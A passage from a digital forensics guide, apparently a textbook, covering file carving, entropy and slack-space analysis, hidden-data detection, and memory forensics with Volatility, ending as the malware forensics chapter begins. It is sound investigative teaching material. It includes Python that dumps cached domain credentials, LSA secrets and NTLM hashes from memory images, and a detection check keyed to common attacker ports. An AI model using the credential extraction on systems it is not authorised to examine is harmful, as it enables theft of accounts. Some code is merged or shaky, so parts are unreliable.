entry_data[0:4] != b'FILE':\n            continue\n        \n        # Check if deleted (not in use)\n        flags = struct.unpack(' 100:  # Minimum size\n                output_file = os.path.join(\n                    output_dir, \n                    f\"{sig_name}_{file_count:04d}.{sig_info.get('ext', 'bin')}\"\n                )\n                \n                with open(output_file, 'wb') as out:\n                    out.write(file_data)\n                \n                carved_files.append({\n                    'type': sig_name,\n                    'file': output_file,\n                    'offset': header_pos,\n                    'size': len(file_data)\n                })\n                \n                file_count += 1\n            \n            # Move past this header\n            offset = header_pos + 1\n    \n    return carved_files\n\n# Define signatures\nsignatures = {\n    'jpeg': {\n        'header': 'FFD8FF',\n        'footer': 'FFD9',\n        'ext': 'jpg'\n    },\n    'pdf': {\n        'header': '25504446',\n        'footer': '2525454F46',\n        'ext': 'pdf'\n    },\n    'png': {\n        'header': '89504E470D0A1A0A',\n        'footer': '49454E44AE426082',\n        'ext': 'png'\n    },\n    'zip': {\n        'header': '504B0304',\n        'footer': '504B0506',\n        'ext': 'zip'\n    }\n}\n\n# Carve files\ncarved = carve_by_signature('evidence.dd', signatures, 'carved/')\nfor f in carved:\n    print(f\"Carved {f['type']}: {f['file']} ({f['size']} bytes at {f['offset']})\")\n```\n\n#### Advanced Carving Techniques\n\n**Bifragment Gap Carving:**\nSome files may be fragmented. Advanced carvers can handle this:\n\n```python\ndef bifragment_carving(data, header, footer, max_gap=1024*1024):\n    \"\"\"Carve files that may be split into two fragments\"\"\"\n    \n    fragments = []\n    \n    # Find all headers\n    header_positions = []\n    pos = 0\n    while True:\n        pos = data.find(header, pos)\n        if pos == -1:\n            break\n        header_positions.append(pos)\n        pos += 1\n    \n    # Find all footers\n    footer_positions = []\n    pos = 0\n    while True:\n        pos = data.find(footer, pos)\n        if pos == -1:\n            break\n        footer_positions.append(pos)\n        pos += 1\n    \n    # Try to match headers with footers\n    for h_pos in header_positions:\n        for f_pos in footer_positions:\n            if f_pos > h_pos:\n                gap = f_pos - (h_pos + len(header))\n                if 0 <= gap <= max_gap:\n                    # Valid bifragment file\n                    fragments.append({\n                        'header_pos': h_pos,\n                        'footer_pos': f_pos,\n                        'gap': gap,\n                        'size': f_pos + len(footer) - h_pos\n                    })\n                    break  # Take first valid footer\n    \n    return fragments\n```\n\n---\n\n### 8.3 Entropy Analysis\n\nEntropy measures randomness in data and can identify encrypted or compressed content.\n\n#### Calculating Entropy\n\n```python\nimport math\nfrom collections import Counter\n\ndef calculate_entropy(data):\n    \"\"\"Calculate Shannon entropy of data\"\"\"\n    \n    if not data:\n        return 0\n    \n    entropy = 0\n    counter = Counter(data)\n    data_len = len(data)\n    \n    for count in counter.values():\n        probability = count / data_len\n        entropy -= probability * math.log2(probability)\n    \n    return entropy\n\ndef analyze_file_entropy(file_path, block_size=4096):\n    \"\"\"Analyze entropy of file in blocks\"\"\"\n    \n    results = []\n    \n    with open(file_path, 'rb') as f:\n        block_num = 0\n        while True:\n            block = f.read(block_size)\n            if not block:\n                break\n            \n            entropy = calculate_entropy(block)\n            \n            results.append({\n                'block': block_num,\n                'offset': block_num * block_size,\n                'entropy': entropy,\n                'size': len(block)\n            })\n            \n            block_num += 1\n    \n    return results\n\n# Analyze entropy\nentropy_results = analyze_file_entropy('evidence.dd')\n\n# Identify high-entropy regions (encrypted/compressed)\nhigh_entropy = [r for r in entropy_results if r['entropy'] > 7.5]\nlow_entropy = [r for r in entropy_results if r['entropy'] < 4.0]\n\nprint(f\"High entropy blocks (>7.5): {len(high_entropy)}\")\nprint(f\"Low entropy blocks (<4.0): {len(low_entropy)}\")\n\n# Plot entropy (would use matplotlib in practice)\nfor r in entropy_results[:100]:\n    print(f\"Block {r['block']:4d}: entropy={r['entropy']:.2f}\")\n```\n\n#### Entropy-Based File Classification\n\n```python\ndef classify_by_entropy(data):\n    \"\"\"Classify data type based on entropy\"\"\"\n    \n    entropy = calculate_entropy(data)\n    \n    if entropy < 4.0:\n        return \"Plain text / Low entropy\"\n    elif entropy < 6.0:\n        return \"Typical text / Source code\"\n    elif entropy < 7.0:\n        return \"Compressed / Encoded\"\n    elif entropy < 7.8:\n        return \"Encrypted / High compression\"\n    else:\n        return \"Random / Encrypted\"\n    \ndef find_encrypted_regions(image_path, threshold=7.5, min_size=4096):\n    \"\"\"Find regions that may contain encrypted data\"\"\"\n    \n    encrypted_regions = []\n    \n    with open(image_path, 'rb') as f:\n        pos = 0\n        while True:\n            block = f.read(4096)\n            if not block:\n                break\n            \n            entropy = calculate_entropy(block)\n            \n            if entropy > threshold:\n                # Found high entropy region\n                start_pos = pos\n                \n                # Read consecutive high entropy blocks\n                high_blocks = [block]\n                while True:\n                    next_block = f.read(4096)\n                    if not next_block:\n                        break\n                    \n                    next_entropy = calculate_entropy(next_block)\n                    if next_entropy > threshold:\n                        high_blocks.append(next_block)\n                        pos += 4096\n                    else:\n                        # End of high entropy region\n                        f.seek(-4096, 1)  # Seek back\n                        break\n                \n                # Combine blocks\n                region_data = b''.join(high_blocks)\n                region_size = len(region_data)\n                \n                if region_size >= min_size:\n                    encrypted_regions.append({\n                        'offset': start_pos,\n                        'size': region_size,\n                        'entropy': calculate_entropy(region_data)\n                    })\n            \n            pos += 4096\n    \n    return encrypted_regions\n\n# Find encrypted regions\nencrypted = find_encrypted_regions('evidence.dd')\nfor region in encrypted:\n    print(f\"Encrypted region at {region['offset']}: {region['size']} bytes, entropy={region['entropy']:.2f}\")\n```\n\n---\n\n### 8.4 Hidden Data Detection\n\n#### Alternate Data Streams (NTFS)\n\nADS allows hiding data in NTFS files:\n\n```python\ndef detect_ads(directory):\n    \"\"\"Detect Alternate Data Streams in NTFS\"\"\"\n    \n    ads_list = []\n    \n    for root, dirs, files in os.walk(directory):\n        for file in files:\n            file_path = os.path.join(root, file)\n            \n            # Use streams command (Windows)\n            if os.name == 'nt':\n                import subprocess\n                result = subprocess.run(\n                    ['streams', '-nobanner', file_path],\n                    capture_output=True,\n                    text=True\n                )\n                \n                for line in result.stdout.split('\\n'):\n                    if ':' in line and 'data' in line:\n                        ads_list.append({\n                            'file': file_path,\n                            'stream': line.strip()\n                        })\n    \n    return ads_list\n\n# PowerShell equivalent\ndef detect_ads_powershell(directory):\n    \"\"\"Use PowerShell to detect ADS\"\"\"\n    \n    import subprocess\n    \n    ps_script = f\"\"\"\n    Get-ChildItem -Path {directory} -Recurse -File | ForEach-Object {{\n        $streams = Get-Item -Path $_.FullName -Stream * | Where-Object {{$_.Stream -ne ':$DATA'}}\n        if ($streams) {{\n            [PSCustomObject]@{{\n                File = $_.FullName\n                Streams = ($streams.Stream -join ', ')\n            }}\n        }}\n    }}\n    \"\"\"\n    \n    result = subprocess.run(\n        ['powershell', '-Command', ps_script],\n        capture_output=True,\n        text=True\n    )\n    \n    return result.stdout\n```\n\n#### Steganography Detection\n\nBasic statistical detection:\n\n```python\ndef detect_steganography(image_path):\n    \"\"\"Basic steganography detection\"\"\"\n    \n    from PIL import Image\n    import numpy as np\n    \n    # Load image\n    img = Image.open(image_path)\n    img_array = np.array(img)\n    \n    # Check LSB patterns\n    # In natural images, LSBs should be random\n    # Steganography often introduces patterns\n    \n    # Extract LSBs\n    lsbs = img_array & 1\n    \n    # Calculate statistics\n    # Uniform distribution of 0/1 suggests hidden data\n    zero_count = np.sum(lsbs == 0)\n    one_count = np.sum(lsbs == 1)\n    total = zero_count + one_count\n    \n    if total > 0:\n        zero_ratio = zero_count / total\n        one_ratio = one_count / total\n        \n        # Check for imbalance\n        imbalance = abs(zero_ratio - one_ratio)\n        \n        # Check for patterns (simplified)\n        # Real detection uses chi-square test\n        suspicious = imbalance < 0.1  # Too uniform\n        \n        return {\n            'image': image_path,\n            'zero_ratio': zero_ratio,\n            'one_ratio': one_ratio,\n            'imbalance': imbalance,\n            'suspicious': suspicious\n        }\n    \n    return None\n\n# Check images\nimport glob\nfor img_file in glob.glob('images/*.jpg'):\n    result = detect_steganography(img_file)\n    if result and result['suspicious']:\n        print(f\"Suspicious: {result['image']}\")\n        print(f\"  0/1 ratio: {result['zero_ratio']:.3f}/{result['one_ratio']:.3f}\")\n```\n\n---\n\n### 8.5 Slack Space Analysis\n\nSlack space is the unused space between the end of a file and the end of its last cluster.\n\n#### Types of Slack Space\n\n**RAM Slack:** From end of file to end of sector\n**Drive Slack:** From end of last sector to end of cluster\n\n```python\ndef extract_slack_space(image_path, partition_offset, cluster_size):\n    \"\"\"Extract slack space from all files\"\"\"\n    \n    from pytsk3 import Img_Info, FS_Info\n    \n    img = Img_Info(image_path)\n    fs = FS_Info(img, offset=partition_offset)\n    \n    slack_data = []\n    \n    # Walk through all files\n    def process_dir(dir_path):\n        try:\n            directory = fs.open_dir(dir_path)\n            for entry in directory:\n                if entry.info.name.name in [b'.', b'..']:\n                    continue\n                \n                if entry.info.meta.type == 0x02:  # Directory\n                    subdir = os.path.join(dir_path, entry.info.name.name.decode())\n                    process_dir(subdir)\n                else:\n                    # File\n                    file_size = entry.info.meta.size\n                    \n                    # Calculate clusters used\n                    clusters_used = (file_size + cluster_size - 1) // cluster_size\n                    allocated_size = clusters_used * cluster_size\n                    \n                    if allocated_size > file_size:\n                        slack_size = allocated_size - file_size\n                        \n                        # Read slack space\n                        try:\n                            file_obj = fs.open(entry.info.meta.addr)\n                            \n                            # Seek to end of file\n                            slack_data_start = file_size\n                            slack = file_obj.read_random(slack_data_start, slack_size)\n                            \n                            if slack and any(b != 0 for b in slack):\n                                slack_data.append({\n                                    'file': entry.info.name.name.decode(errors='ignore'),\n                                    'path': os.path.join(dir_path, entry.info.name.name.decode(errors='ignore')),\n                                    'file_size': file_size,\n                                    'slack_size': slack_size,\n                                    'slack_data': slack.hex()[:100] + '...' if slack_size > 50 else slack.hex(),\n                                    'slack_offset': slack_data_start\n                                })\n                        except Exception as e:\n                            pass\n        except Exception as e:\n            print(f\"Error processing {dir_path}: {e}\")\n    \n    process_dir('/')\n    \n    return slack_data\n\n# Extract slack space\nslack = extract_slack_space('evidence.dd', 2048*512, 4096)\nprint(f\"Found {len(slack)} files with non-zero slack space\")\nfor s in slack[:10]:\n    print(f\"\\nFile: {s['path']}\")\n    print(f\"  File size: {s['file_size']}\")\n    print(f\"  Slack size: {s['slack_size']}\")\n    print(f\"  Slack preview: {s['slack_data']}\")\n```\n\n#### Automated Slack Space Carving\n\n```python\ndef carve_from_slack(slack_data, signatures):\n    \"\"\"Carve files from slack space data\"\"\"\n    \n    carved = []\n    \n    for slack_entry in slack_data:\n        slack_bytes = bytes.fromhex(slack_entry['slack_data'].replace('...', ''))\n        \n        # Check each signature\n        for sig_name, sig_info in signatures.items():\n            header = bytes.fromhex(sig_info['header'])\n            \n            if header in slack_bytes:\n                # Found potential file fragment in slack\n                carved.append({\n                    'source_file': slack_entry['path'],\n                    'slack_offset': slack_entry['slack_offset'],\n                    'signature': sig_name,\n                    'data': slack_bytes.hex()[:100]\n                })\n    \n    return carved\n\n# Carve from slack\nsignatures = {\n    'pdf': {'header': '25504446'},\n    'jpg': {'header': 'FFD8FF'},\n    'zip': {'header': '504B0304'}\n}\n\ncarved_slack = carve_from_slack(slack, signatures)\nfor c in carved_slack:\n    print(f\"Found {c['signature']} in slack of {c['source_file']}\")\n```\n\n---\n\n\n# PART IV \u2013 MEMORY & MALWARE FORENSICS\n\n---\n\n## Chapter 9 \u2013 Memory Forensics\n\n---\n\n### 9.1 Introduction to Memory Forensics\n\nMemory forensics involves the analysis of volatile memory (RAM) from a running computer system. This discipline has become critical because modern malware often exists only in memory, never touching the hard drive.\n\n#### Why Memory Forensics?\n\n**Traditional disk forensics limitations:**\n- Encrypted filesystems cannot be accessed without keys (keys in memory)\n- Malware may be memory-resident only (fileless malware)\n- Running processes, network connections, and open files are lost on shutdown\n- Encryption keys, passwords, and decrypted data exist only in memory\n- Rootkits hide files and registry keys but must run in memory\n\n**What memory contains:**\n- Running processes and their threads\n- Loaded kernel modules and drivers\n- Open network connections and sockets\n- Active network connections (including hidden ones)\n- Process memory (code, stack, heap)\n- Kernel data structures\n- Registry hives (in cached form)\n- Passwords and cryptographic keys\n- Malware code and artifacts\n- Command history\n- Recently executed commands\n- Clipboard contents\n\n#### Order of Volatility\n\nWhen collecting evidence, always follow the order of volatility:\n\n```\nMOST VOLATILE (collect first)\n    \u2193\n1. CPU registers, cache\n2. System memory (RAM)\n3. Network state (connections, routing tables)\n4. Running processes\n5. Temporary filesystems (/tmp, /proc)\n6. Disk storage\n    \u2193\nLEAST VOLATILE (collect last)\n```\n\n---\n\n### 9.2 Memory Acquisition Techniques\n\n#### Hardware-Based Acquisition\n\n**Hardware tools:**\n- **Tribble:** PCI card that captures memory via DMA\n- **FireWire/Thunderbolt DMA:** Direct memory access via external ports\n- **Cold boot attacks:** Physically cooling RAM modules to preserve data\n\n**Advantages:**\n- Bypasses operating system\n- Cannot be subverted by rootkits\n- Captures complete physical memory\n\n**Disadvantages:**\n- Requires physical access\n- Specialized hardware needed\n- May not work on newer systems (IOMMU)\n\n#### Software-Based Acquisition\n\n**Windows Tools:**\n\n```powershell\n# FTK Imager (GUI and CLI)\nftkimager.exe memory --capture --output memory.raw\n\n# DumpIt (simple, creates raw file)\nDumpIt.exe /quiet /output memory.raw\n\n# WinPmem (open source)\nwinpmem_mini_x64_rc2.exe memory.raw\n\n# Belkasoft RAM Capturer\nRAMCapturer64.exe /output memory.raw\n\n# Comae Toolkit\nDumpIt.exe /quiet /output memory.raw\n```\n\n**Linux Tools:**\n\n```bash\n# LiME (Linux Memory Extractor)\ninsmod lime.ko \"path=memory.lime format=lime\"\n\n# fmem (loadable kernel module)\ninsmod fmem.ko\ndd if=/dev/fmem of=memory.raw bs=1M\n\n# /dev/mem (if available)\ndd if=/dev/mem of=memory.raw bs=1M\n\n# avml (Azure VM logger)\n./avml memory.raw\n```\n\n**macOS Tools:**\n\n```bash\n# OSXPMem\nsudo osxpmem -o memory.aff4\n\n# Mac Memory Reader (FireWire)\n./macmemoryreader > memory.raw\n```\n\n#### Virtual Machine Memory Acquisition\n\n```bash\n# VMware\n# Suspend or snapshot the VM, capture .vmem file\n\n# VirtualBox\nVBoxManage debugvm \"VM Name\" dumpvmcore --filename=memory.elf\n\n# Hyper-V\n# Export VM, capture .bin file\n\n# QEMU/KVM\n# Memory in qemu process address space\ngdb --pid $(pgrep qemu) -ex \"dump memory memory.raw 0 0x$(cat /proc/$(pgrep qemu)/maps | grep heap | cut -d'-' -f2)\"\n```\n\n#### Memory Acquisition Best Practices\n\n**Checklist for Memory Acquisition:**\n\n```\n\u2610 Verify tool integrity (hash before use)\n\u2610 Document system state (screenshots of running processes)\n\u2610 Use write-blocked media for output\n\u2610 Capture from trusted media (forensic USB)\n\u2610 Calculate hash of output immediately\n\u2610 Note acquisition time (critical for timeline)\n\u2610 Record system uptime\n\u2610 Document any errors or warnings\n```\n\n**Sample Acquisition Script:**\n\n```python\nimport subprocess\nimport hashlib\nimport datetime\nimport os\n\ndef acquire_memory(output_path, tool_path):\n    \"\"\"Acquire memory with documentation\"\"\"\n    \n    # Create acquisition log\n    log = []\n    log.append(f\"Memory Acquisition Log\")\n    log.append(f\"Date/Time: {datetime.datetime.now()}\")\n    log.append(f\"System: {os.uname() if hasattr(os, 'uname') else 'Windows'}\")\n    log.append(f\"Tool: {tool_path}\")\n    \n    # Run acquisition\n    try:\n        cmd = [tool_path, output_path]\n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        log.append(f\"Tool output: {result.stdout}\")\n        if result.stderr:\n            log.append(f\"Errors: {result.stderr}\")\n        \n        # Calculate hash\n        sha256 = hashlib.sha256()\n        with open(output_path, 'rb') as f:\n            for chunk in iter(lambda: f.read(65536), b''):\n                sha256.update(chunk)\n        \n        log.append(f\"SHA256: {sha256.hexdigest()}\")\n        log.append(f\"File size: {os.path.getsize(output_path)} bytes\")\n        \n        # Save log\n        with open(output_path + '.txt', 'w') as f:\n            f.write('\\n'.join(log))\n        \n        return True\n        \n    except Exception as e:\n        log.append(f\"Acquisition failed: {str(e)}\")\n        with open(output_path + '.error.txt', 'w') as f:\n            f.write('\\n'.join(log))\n        return False\n```\n\n---\n\n### 9.3 Memory Analysis with Volatility\n\nVolatility is the most widely used memory forensics framework.\n\n#### Volatility Basics\n\n**Installation:**\n\n```bash\n# Volatility 2 (Python 2)\ngit clone https://github.com/volatilityfoundation/volatility.git\ncd volatility\npython setup.py install\n\n# Volatility 3 (Python 3)\ngit clone https://github.com/volatilityfoundation/volatility3.git\ncd volatility3\npython3 setup.py install\n```\n\n**Basic Commands:**\n\n```bash\n# Get memory image info (Vol2)\npython vol.py -f memory.raw imageinfo\n\n# Vol3\npython vol.py -f memory.raw windows.info\n\n# List processes\npython vol.py -f memory.raw windows.pslist\npython vol.py -f memory.raw windows.psscan\npython vol.py -f memory.raw windows.pstree\n\n# List network connections\npython vol.py -f memory.raw windows.netstat\n\n# List loaded DLLs\npython vol.py -f memory.raw windows.dlllist\n\n# Dump process\npython vol.py -f memory.raw windows.memdump --pid 1234 --dump\n```\n\n#### Profile Identification\n\n```python\ndef identify_profile(memory_image):\n    \"\"\"Identify correct Volatility profile\"\"\"\n    \n    import subprocess\n    import re\n    \n    # Run imageinfo\n    cmd = ['python', 'vol.py', '-f', memory_image, 'imageinfo']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    # Extract suggested profiles\n    profiles = re.findall(r'Suggested Profile\\(s\\) : (.*)', result.stdout)\n    \n    if profiles:\n        suggested = profiles[0].split(',')\n        return [p.strip() for p in suggested]\n    \n    return None\n\n# Get profiles\nprofiles = identify_profile('memory.raw')\nprint(f\"Suggested profiles: {profiles}\")\n```\n\n#### Process Enumeration\n\nDifferent process listing techniques can reveal hidden processes:\n\n```python\nimport subprocess\nimport json\n\ndef enumerate_processes(memory_image, profile):\n    \"\"\"Enumerate processes using multiple techniques\"\"\"\n    \n    processes = {\n        'pslist': [],\n        'psscan': [],\n        'pstree': []\n    }\n    \n    # pslist (walks linked list - can be hidden)\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'pslist', '--output=json']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    try:\n        processes['pslist'] = json.loads(result.stdout)\n    except:\n        pass\n    \n    # psscan (scans memory - harder to hide)\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'psscan', '--output=json']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    try:\n        processes['psscan'] = json.loads(result.stdout)\n    except:\n        pass\n    \n    # Compare for hidden processes\n    pslist_pids = {p['PID'] for p in processes['pslist']}\n    psscan_pids = {p['PID'] for p in processes['psscan']}\n    \n    hidden = psscan_pids - pslist_pids\n    if hidden:\n        print(f\"Hidden processes detected: {hidden}\")\n        for pid in hidden:\n            for p in processes['psscan']:\n                if p['PID'] == pid:\n                    print(f\"  {p['PID']}: {p['ImageFileName']}\")\n    \n    return processes\n\n# Run enumeration\nprocs = enumerate_processes('memory.raw', 'Win10x64_19041')\n```\n\n#### Network Artifact Extraction\n\n```python\ndef analyze_network_artifacts(memory_image, profile):\n    \"\"\"Extract and analyze network connections\"\"\"\n    \n    # Get network connections\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'netscan', '--output=json']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    connections = []\n    try:\n        data = json.loads(result.stdout)\n        for conn in data.get('rows', []):\n            connections.append({\n                'pid': conn.get('PID'),\n                'process': conn.get('Process'),\n                'local': conn.get('Local'),\n                'remote': conn.get('Remote'),\n                'state': conn.get('State'),\n                'created': conn.get('Created')\n            })\n    except:\n        pass\n    \n    # Analyze for suspicious connections\n    suspicious = []\n    for conn in connections:\n        # Check for common C2 ports\n        if conn['remote']:\n            port = conn['remote'].split(':')[-1]\n            if port in ['4444', '1337', '31337', '8080', '8443']:\n                suspicious.append(conn)\n        \n        # Check for connections to known bad IPs (would use threat intel)\n        # ...\n    \n    return {\n        'all': connections,\n        'suspicious': suspicious\n    }\n\n# Analyze network\nnetworks = analyze_network_artifacts('memory.raw', 'Win10x64_19041')\nprint(f\"Found {len(networks['suspicious'])} suspicious connections\")\n```\n\n---\n\n### 9.4 Advanced Memory Analysis\n\n#### Detecting Code Injection\n\n```python\ndef detect_code_injection(memory_image, profile):\n    \"\"\"Detect various code injection techniques\"\"\"\n    \n    import subprocess\n    import json\n    \n    findings = []\n    \n    # 1. Malfind - detect injected code\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'malfind', '--output=json']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    try:\n        malfind_results = json.loads(result.stdout)\n        for entry in malfind_results.get('rows', []):\n            findings.append({\n                'type': 'malfind',\n                'pid': entry.get('PID'),\n                'process': entry.get('Process'),\n                'address': entry.get('Address'),\n                'protection': entry.get('Protection'),\n                'hexdump': entry.get('Hexdump')[:50] + '...' if entry.get('Hexdump') else ''\n            })\n    except:\n        pass\n    \n    # 2. Hollowfind - detect process hollowing\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'hollowfind', '--output=json']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    # 3. LDrmodules - detect unlinked DLLs\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'ldrmodules', '--output=json']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    try:\n        ldrmodules = json.loads(result.stdout)\n        for entry in ldrmodules.get('rows', []):\n            # Check for modules not in all 3 lists\n            in_load = entry.get('InLoad')\n            in_init = entry.get('InInit')\n            in_mem = entry.get('InMem')\n            \n            if not (in_load and in_init and in_mem):\n                findings.append({\n                    'type': 'unlinked_dll',\n                    'pid': entry.get('PID'),\n                    'process': entry.get('Process'),\n                    'dll': entry.get('DllBase'),\n                    'path': entry.get('Path'),\n                    'in_load': in_load,\n                    'in_init': in_init,\n                    'in_mem': in_mem\n                })\n    except:\n        pass\n    \n    return findings\n\n# Detect injection\ninjections = detect_code_injection('memory.raw', 'Win10x64_19041')\nfor finding in injections:\n    print(f\"\\n[{finding['type']}] PID {finding['pid']}: {finding.get('process', '')}\")\n    if 'path' in finding:\n        print(f\"  DLL: {finding['path']}\")\n    if 'hexdump' in finding:\n        print(f\"  Code: {finding['hexdump']}\")\n```\n\n#### Rootkit Detection\n\n```python\ndef detect_rootkits(memory_image, profile):\n    \"\"\"Detect kernel-level rootkits\"\"\"\n    \n    findings = []\n    \n    # 1. Check SSDT hooks\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'ssdt', '--output=json']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    try:\n        ssdt = json.loads(result.stdout)\n        for entry in ssdt.get('rows', []):\n            # Check if function is in kernel or unknown module\n            if 'UNKNOWN' in entry.get('Module', '') or 'hook' in entry.get('Module', '').lower():\n                findings.append({\n                    'type': 'ssdt_hook',\n                    'table': entry.get('Table'),\n                    'index': entry.get('Index'),\n                    'function': entry.get('Function'),\n                    'module': entry.get('Module')\n                })\n    except:\n        pass\n    \n    # 2. Check IDT\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'idt']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    # 3. Check drivers\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'modscan', '--output=json']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    # 4. Check for hidden modules\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'unloadedmodules']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    return findings\n```\n\n#### Extracting Passwords and Keys\n\n```python\ndef extract_credentials(memory_image, profile):\n    \"\"\"Extract passwords and cryptographic keys from memory\"\"\"\n    \n    credentials = []\n    \n    # 1. Extract cached domain credentials\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'cachedump']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    for line in result.stdout.split('\\n'):\n        if ':' in line and len(line) > 10:\n            credentials.append({\n                'type': 'cached_domain',\n                'value': line.strip()\n            })\n    \n    # 2. Extract LSA secrets\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'lsadump']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    # 3. Extract hashes\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'hashdump']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    for line in result.stdout.split('\\n'):\n        if ':' in line and len(line.split(':')) >= 4:\n            credentials.append({\n                'type': 'ntlm_hash',\n                'value': line.strip()\n            })\n    \n    # 4. Extract DPAPI keys\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'masterskey']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    return credentials\n\n# Extract credentials\ncreds = extract_credentials('memory.raw', 'Win10x64_19041')\nfor cred in creds[:10]:\n    print(f\"[{cred['type']}] {cred['value']}\")\n```\n\n---\n\n### 9.5 Volatility 3 Deep Dive\n\nVolatility 3 represents a complete rewrite with improved architecture.\n\n#### Key Differences from Volatility 2\n\n| Feature | Volatility 2 | Volatility 3 |\n|---------|--------------|--------------|\n| Python | 2.7 | 3.6+ |\n| Profiles | Separate files | Symbol tables |\n| Plugins | Python 2 | Python 3 |\n| Performance | Slower | Faster |\n| Layer support | Limited | Enhanced |\n| Windows support | Good | Better |\n| Linux/macOS | Limited | Improved |\n\n#### Working with Symbol Tables\n\n```python\nimport volatility3\nfrom volatility3.framework import contexts\nfrom volatility3.framework.automagic import symbol_cache\n\ndef get_available_symbols():\n    \"\"\"List available symbol tables\"\"\"\n    \n    symbols = symbol_cache.SymbolTableProvider().list_symbol_tables()\n    for sym in symbols:\n        print(f\"{sym['name']} - {sym['os']} {sym['version']}\")\n\ndef analyze_with_vol3(memory_image):\n    \"\"\"Perform analysis with Volatility 3\"\"\"\n    \n    from volatility3.framework import contexts\n    from volatility3.framework.automagic import automagic\n    from volatility3.framework import plugins\n    \n    # Create context\n    ctx = contexts.Context()\n    \n    # Add memory file\n    config_path = f\"plugins.FileScan.FILE\"\n    ctx.config[config_path] = memory_image\n    \n    # Run automagic\n    magic = automagic.available()\n    \n    # Run specific plugin\n    from volatility3.plugins.windows import pslist\n    result = pslist.PsList.run(ctx, symbol_cache.SymbolTableProvider())\n    \n    return result\n```\n\n---\n\n### 9.6 Memory Analysis for Malware Detection\n\n#### Process Memory Dumping\n\n```python\ndef dump_suspicious_processes(memory_image, profile, output_dir):\n    \"\"\"Dump processes that appear suspicious\"\"\"\n    \n    import subprocess\n    import os\n    \n    # Get process list\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'pslist']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    suspicious_pids = []\n    \n    # Parse process list\n    lines = result.stdout.split('\\n')[2:]  # Skip header\n    for line in lines:\n        if not line.strip():\n            continue\n        \n        parts = line.split()\n        if len(parts) >= 6:\n            pid = parts[1]\n            name = parts[0]\n            ppid = parts[2]\n            threads = parts[4]\n            \n            # Check for suspicious indicators\n            suspicious = False\n            \n            # Unusual names\n            if name.lower() in ['svchost.exe', 'lsass.exe', 'winlogon.exe']:\n                # Check if running from wrong location\n                suspicious = True\n            \n            # Too many threads for a simple process\n            if int(threads) > 100 and name.lower() not in ['svchost.exe', 'explorer.exe']:\n                suspicious = True\n            \n            if suspicious:\n                suspicious_pids.append(pid)\n                print(f\"Suspicious process: {name} (PID: {pid})\")\n                \n                # Dump process\n                dump_cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, \n                           'memdump', '--pid', pid, '--dump-dir', output_dir]\n                subprocess.run(dump_cmd)\n    \n    return suspicious_pids\n\n# Dump suspicious processes\ndump_suspicious_processes('memory.raw', 'Win10x64_19041', 'dumped_procs/')\n```\n\n#### Extracting Network Indicators\n\n```python\ndef extract_network_indicators(memory_image, profile):\n    \"\"\"Extract network indicators for threat intelligence\"\"\"\n    \n    import re\n    \n    indicators = {\n        'ips': set(),\n        'domains': set(),\n        'ports': set(),\n        'user_agents': set()\n    }\n    \n    # Get network connections\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'netscan']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    ip_pattern = re.compile(r'\\d+\\.\\d+\\.\\d+\\.\\d+')\n    domain_pattern = re.compile(r'[a-zA-Z0-9][a-zA-Z0-9\\-\\.]+\\.[a-zA-Z]{2,}')\n    \n    for line in result.stdout.split('\\n'):\n        # Extract IPs\n        ips = ip_pattern.findall(line)\n        for ip in ips:\n            if not ip.startswith(('127.', '192.168.', '10.', '172.')):\n                indicators['ips'].add(ip)\n        \n        # Extract ports\n        if ':' in line:\n            parts = line.split(':')\n            for part in parts:\n                if part.isdigit() and 1 <= int(part) <= 65535:\n                    indicators['ports'].add(part)\n    \n    # Get IE history/URLs\n    cmd = ['python', 'vol.py', '-f', memory_image, '--profile', profile, 'iehistory']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    domains = domain_pattern.findall(result.stdout)\n    for domain in domains:\n        indicators['domains'].add(domain)\n    \n    return indicators\n\n# Extract indicators\niocs = extract_network_indicators('memory.raw', 'Win10x64_19041')\nprint(\"Network Indicators:\")\nprint(f\"  IPs: {', '.join(iocs['ips'])}\")\nprint(f\"  Domains: {', '.join(iocs['domains'])}\")\nprint(f\"  Ports: {', '.join(iocs['ports'])}\")\n```\n\n---\n\n## Chapter 10 \u2013 Malware Forensics\n\n---\n\n### 10.1 Introduction to Malware Analysis\n\nMalware forensics involves examining malicious software to understand its functionality, origin, and impact.\n\n#### Types of Malware Analysis\n\n| Type | Description | Tools | Time Required |\n|------|-------------|-------|---------------|\n| Static Analysis | Examining code without execution | IDA Pro, Ghidra, strings, PEview | Hours to 